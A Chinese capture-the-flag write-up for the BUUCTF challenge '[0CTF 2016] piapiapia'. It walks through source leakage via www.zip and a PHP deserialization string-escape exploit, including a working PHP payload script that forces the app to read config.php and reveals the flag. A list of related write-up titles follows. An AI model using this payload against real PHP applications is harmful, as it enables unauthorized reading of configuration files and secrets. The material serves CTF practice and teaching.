知识点:1.反序列化字符串逃逸

1.开题

2.常规操作,看源码,查看robots.txt,disearch扫描

抓包,用常规的sql注入测试了一下,没啥效果,disearch扫描也结束了,看了下disearch扫描

有文件www.zip,是源码的一个包,下载下来

3.查看源码,没有路由文件,从index.php看,加载了config.php(里面有flag值),profile.php(会话已经加载的情况下读取信息),都看了一下文件,register.php(注册),注册了一个账号试了试,链接到update.php

我们对这几个文件进行分析

a.我们需要查看config.php文件

可以用文件包含和伪协议组合,但是审计代码没有可以赋予变量的文件包含

在profile内里有函数file_get_content()函数,我们尽量使函数里面的参数是config.php

b.对file_get_content()函数的值进行分析,参数的值是profile变量里的photo变量

经过

在profile.php内:
1.$profile = unserialize($profile);
2.$profile=$user->show_profile($username);看class.php里的show_profile()
public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}
过滤,返回

c.我们看哪里调用了profile.php文件,index.php和update.php文件内有调用,但是在update.php的调用过程中,存在序列化,

序列化与反序列化的重叠使用,就有可能导致存在反序列化字符串漏洞

d.

$user->update_profile($username, serialize($profile));
public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}

在filter函数中存在字符替换,将过滤字符替换成hacker,这使得我们的字符串逃逸变得可行

经过审计,我们可以确定我们的思路,就是通过反序列化字符串逃逸漏洞,将photo=config.php传进去。

4.构造需要逃逸的序列化字符串

";s:5:"photo";s:10:"config.php";}

在字符串逃逸的过程中,主要利用的就是

;是字符的截断

序列化是严格的表示形式,会根据相应的字符数目进行截断

}后的会自动抛弃

这样我们可以利用where(5字节)替换成了hacker(6字节)

在替换过程中增加nickname的值的长度,使截断提前,从而使构造的payload形成逃逸,将变量值赋到photo里

从where替换到hacker字符一共增加了一个,payload一共33个,所以nickname需要33个where组成

贴脚本

<?php
function filter($string) {$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);
}$profile['phone']='12345678901';
$profile['email']='q@.q.c';
$profile['nickname']='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}';
$profile['photo'] ='ffgfgfgf';$a=serialize($profile);
echo $a."\n";$b=filter($a);
echo $b."\n";$b=unserialize($b);
echo var_dump($b);  #打印数组
?>

运行后:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:6:"q@.q.c";s:8:"nickname";s:198:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:8:"ffgfgfgf";}a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:6:"q@.q.c";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:8:"ffgfgfgf";}array(4) { ["phone"]=> string(11) "12345678901" ["email"]=> string(6) "q@.q.c" ["nickname"]=> string(198) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["photo"]=> string(10) "config.php" } 

构造完毕

5.将参数传到update.php,传参前看一下代码,对参数的长度是有限制的,nickname的长度不能大于10;

我们分析一下变成数组的话该怎么改

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:6:"q@.q.c";s:8:"nickname";a:1:{s:198:"33个where";s:5:"photo";s:10:"config.php";}"};s:5:"photo";s:8:"ffgfgfgf";}

这样就能看明白,我们 需要在where后面的;后加个}进行截断

";}s:5:"photo";s:10:"config.php";}

where也需要多加一个了

构造的payload:


$profile['nickname']='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';

6.进入update.php,随便在register.php注册个账号登录进去

通过update.php进行抓包

发包后,在进入profile.php,进行抓包

对base64进行解码,得到flag

flag{14ddcb13-2588-4ae7-9413-2cd4cd94fbe0}

web buuctf [0CTF 2016]piapiapia相关推荐

  1. [0CTF 2016]piapiapia WP(详细)

    [0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...

  2. BUCTF[0CTF 2016]piapiapia

    [0CTF 2016]piapiapia 打开环境是个登录框,尝试了一下sql注入,发现并无任何用处. 于是扫描目录,发现了个/www.zip. 开始代码审计: 在config.php中看到了flag ...

  3. BUU [0CTF 2016]piapiapia

    BUU [0CTF 2016]piapiapia 进去之后是个登录界面,抓包有一个cookie.感觉是十六进制,但是其实不是这样做,是应该扫描的. buu什么都扫不出来,直接看源码. /registe ...

  4. [0CTF 2016]piapiapia php反序列化字符串逃逸

    一.php反序列化字符串逃逸 <?phpclass user{public $user = 'admin';public $pass = 'passwd'; }$a = new user(); ...

  5. [0CTF 2016] piapiapia

    piapiapia 猜测:SQL注入.弱口令,顺便扫一下目录 SQL注入失败,弱口令和目录扫描没有测试(过快扫描网站,返回429),服务器还是挺好的,从网上得知/www.zip 测试过后,发现 ind ...

  6. [0CTF 2016]piapiapia 详细解题思路及做法

    前言 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途! 题目 进去是一个登陆界面,尝试sql注入,发 ...

  7. [0CTF 2016]piapiapia -php序列化溢出

    题目分析 上来是一个登录页面:尝试注入无效: 然后扫后台:扫到源码www.zip 发现有注册页,注册登陆后可以填写自己的信息以及上传头像,走过一遍流程之后发现无法SSI也无法上传图片马: 源码分析 u ...

  8. [0CTF 2016]piapiapia总结(PHP序列化长度变化导致尾部字符逃逸)

    这道题感觉很难,要是比赛中出这种题我肯定做不来,所以我耐着性子慢慢分析这道题,最后居然自己做了个七七八八,只剩下一点点就完全做出来了. 下面把我做这道题时的思路一步一步记录下来,希望能够彻底巩固. 一 ...

  9. [0CTF 2016]piapiapia(字符逃逸详解)

    目录 知识点 信息收集 尝试SQL注入 源码目录扫描 代码审计 payload生成 知识点 信息泄露 参数传递数组绕过字符串检测 反序列化字符逃逸 信息收集 收集到了一只超可爱的小喵 尝试SQL注入 ...

  10. 审计练习5——[0CTF 2016]piapiapia

    平台:buuoj.cn 打开靶机如下: 弱密码,sql乱试一波没反应,注册个账号进去之后让我们更新信息 提交跳转到profile.php 扫一下网站目录.(我们在做题扫目录的时候经常会遇见429的情况 ...

最新文章

  1. Nginx配置使用积累[不断更新]
  2. 200秒=超算1万年,谷歌实现“量子霸权”论文上架随即被撤回,引发全球热议...
  3. Vue项目实战09 : vue3.0实现点击切换验证码(组件)及校验
  4. c语言枚举入门,C语言入门之枚举与位运算(1)
  5. 【转】sip中的subscribe和notify扩展应用技术
  6. 记一次 .NET 医院CIS系统 内存溢出分析
  7. 远程开发初探 - VS Code Remote Development
  8. delphi excel取批注所在的行列_excel技巧教程丨34个常用Excel小技巧,助你玩转职场!...
  9. java8新特性以及原因_JAVA8 十大新特性详解
  10. 【NOIP模拟题】Incr(dp)
  11. lisp如何将度分秒转换为弧度_重磅干货!如何利用Stata进行空间冷热点分析 | 社论前沿...
  12. XHTML学习资料(三)—— 表格
  13. python教学ppt百度云_python教程ppt百度云盘-Python教程ppt课件类型的
  14. Autosar OSEK 网络管理学习笔记
  15. 3.取色精灵V2.0-非模态对话框自建消息队列、VS2008风格对话框、使用Common Controls、悬浮透明窗口、使用SLIDER控件
  16. python微信公众号秒杀代码_微信跳一跳辅助python代码实现
  17. 无U盘 安装纯净win7系统
  18. 亲属卡额度是什么意思_卡神养卡15条心得!教你如何卡奴变卡神!
  19. 广域网(WAN)简介
  20. 创作者运营—创作者课程开发思路

热门文章

  1. 网页搜索(百度谷歌)你不得不知道的十个小技巧
  2. 移动电子商务:五个技术标准与Trustonic TEE解决方案【转】
  3. My concerns
  4. 【已解决】qlv格式转mp4(腾讯视频)
  5. h5 监听安卓物理返回键
  6. Docker - 常见操作命令篇
  7. 【UE4大数据可视化教程序章一】——生成城市与道路模型
  8. RxJava2 背压
  9. 使用PlotNeuralNet绘制自己的网络结构图
  10. 疯狂ios讲义之疯狂打飞机(2)